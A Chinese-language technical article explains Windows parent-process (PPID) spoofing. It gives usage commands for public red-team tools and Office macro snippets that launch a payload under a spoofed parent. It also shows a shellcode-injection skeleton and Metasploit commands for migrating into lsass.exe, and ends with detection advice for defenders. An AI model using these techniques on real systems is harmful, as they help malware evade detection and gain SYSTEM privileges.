父进程欺骗技术
字数 1539 2025-08-20 18:18:40
父进程欺骗技术详解
技术概述
父进程欺骗(PPID Spoofing)是一种通过修改进程创建时的父进程标识符(PID)来隐藏恶意活动行为的技术。Windows API中的CreateProcess函数允许指定父进程PID,这使得攻击者可以让恶意进程看起来是由合法进程(如explorer.exe、lsass.exe等)创建的,从而绕过基于进程父子关系检测的安全机制。
技术原理
核心API
CreateProcess: 允许指定父进程PID的关键函数STARTUPINFOEX和LPPROC_THREAD_ATTRIBUTE_LIST: 与CreateProcess配合使用的结构体UpdateProcThreadAttribute: 用于设置父进程属性
检测规避原理
安全产品通常监控异常进程关系,如:
- Microsoft Word启动PowerShell
- Excel启动cmd.exe
- 浏览器启动脚本解释器
通过伪造父进程PID,可以使恶意进程看起来是由系统正常进程创建的,从而规避这类检测。
实现方法
C++实现
SelectMyParent (Didier Stevens, 2009)
最早公开的PPID欺骗工具,使用方式:
SelectMyParent.exe notepad 508 # 508为lsass.exe的PID
特点:
- 子进程继承父进程权限
- notepad.exe将以系统权限运行
APC-PPID (Halil Dalabasmaz)
结合APC注入的PPID欺骗实现:
- 使用
CreateToolhelp32Snapshot获取目标父进程PID - 创建挂起状态的进程
- 写入shellcode
- 使用APC执行shellcode
代码结构:
DWORD getParentProcessID() {
// 获取explorer.exe PID
}
int main() {
// 设置STARTUPINFOEX结构
// 创建挂起进程
// 写入并执行shellcode
}
PowerShell实现
F-Secure PPID-Spoof
嵌入C#代码的PowerShell脚本,参数:
PPID-Spoof -ppid 3556 -spawnto "C:\Windows\System32\notepad.exe" -dllpath pentestlab.dll
特点:
- 在目标进程内加载DLL
- 可指定任意父进程
Andrea Pierini实现
类似F-Secure的PowerShell脚本:
Import-Module .\psgetsys.ps1
[MyProcess]::CreateProcessFromParent(436, "C:\Windows\System32\cmd.exe", "")
C#实现
GetSystem工具
系统权限提升工具,使用方式:
GetSystem.exe pentestlab.exe lsass
特点:
- 使目标进程成为lsass.exe子进程
- 获得SYSTEM权限
ProcessInjection工具
支持多种注入技术的PPID欺骗工具:
ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"pentestlab.txt" /parentproc:explorer /f:hex /t:4
支持技术:
- 远程线程注入(t:4)
- DLL注入(t:5)
- 进程空洞化(t:6)
- APC注入(t:8)
VBA实现
Office宏中的PPID欺骗技术:
WMI方式
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
objProcess.Create "C:\Temp\pentestlab.exe", Null, objConfig, intProcessID
父进程为WmiPrvSE.exe
COM对象方式
Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
obj.Document.Application.ShellExecute "pentestlab.exe", Null, "C:\Temp\",Null,0
父进程为explorer.exe
计划任务方式
Set service = CreateObject("Schedule.Service")
Action.Path = "C:\Users\pentestlab.exe"
service.GetFolder("\").RegisterTaskDefinition("PentestLab", td, 6, , , 3)
父进程为svchost.exe
Metasploit集成
migrate命令
migrate <PID>
专用模块
use post/windows/manage/migrate
set SESSION 1
set PID 508
set NAME lsass.exe
set KILL true
工作流程:
- 获取目标PID
- 检查架构匹配
- 验证SeDebugPrivilege
- 分配内存并写入payload
- 创建远程线程
防御检测
检测方法
- 监控
CreateProcess调用中的父进程参数 - 检查进程树异常:
- 系统进程启动不常见子进程
- 子进程权限与父进程不匹配
- 对比
EventHeader ProcessId和ParentProcessID
防御建议
- 限制进程创建权限
- 监控异常进程关系
- 检查进程启动上下文
- 实施最小权限原则
工具列表
- SelectMyParent (C++): 下载链接
- PPID-Spoof (PowerShell)
- GetSystem (C#)
- ProcessInjection (C#)
- RemoteInject (C#)
总结
父进程欺骗技术通过滥用Windows进程创建机制,有效规避了基于进程关系分析的检测手段。红队可通过多种语言实现该技术,并结合其他注入技术增强隐蔽性。蓝队需要关注进程创建上下文和异常权限继承,才能有效检测这类攻击。